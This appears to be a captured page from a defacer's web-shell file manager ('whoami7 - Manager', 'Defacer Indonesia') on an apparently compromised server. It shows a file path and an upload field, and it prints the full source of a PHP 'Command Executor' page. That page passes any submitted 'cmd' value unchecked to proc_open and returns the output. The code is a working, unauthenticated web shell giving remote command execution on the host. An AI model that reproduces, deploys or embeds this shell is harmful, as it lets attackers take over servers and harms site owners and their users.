whoami7 - Manager
:
/
home
/
bleuhbh
/
www
/
root
/
public
/
kaching
/
Upload File:
files >> /home/bleuhbh/www/root/public/kaching/command.php
<!DOCTYPE html> <html> <head> <title>Command Executor</title> <style> .stderr { color: red; } .stdout { color: black; } pre { background-color: #f4f4f4; padding: 10px; } </style> </head> <body> <h1>Execute Ubuntu Command</h1> <form method="POST"> <input type="text" name="cmd" size="80" placeholder="Enter a command" /> <input type="submit" value="Run" /> </form> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['cmd'])) { $cmd = $_POST['cmd']; echo "<h2>Output:</h2><pre>"; // Redirect stderr to stdout and tag stderr lines $fullCmd = "$cmd 2>&1"; $descriptorspec = [ 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'], // stderr (merged in this case) ]; $process = proc_open($fullCmd, $descriptorspec, $pipes); if (is_resource($process)) { while (!feof($pipes[1])) { $line = fgets($pipes[1]); if ($line !== false) { // Heuristically highlight errors (lines starting with 'E', or typical error patterns) if (preg_match('/(error|failed|not found|command not found|permission denied)/i', $line)) { echo '<span class="stderr">' . htmlspecialchars($line) . '</span>'; } else { echo '<span class="stdout">' . htmlspecialchars($line) . '</span>'; } } } fclose($pipes[1]); proc_close($process); } echo "</pre>"; } ?> </body> </html>
Copyright ©2021 || Defacer Indonesia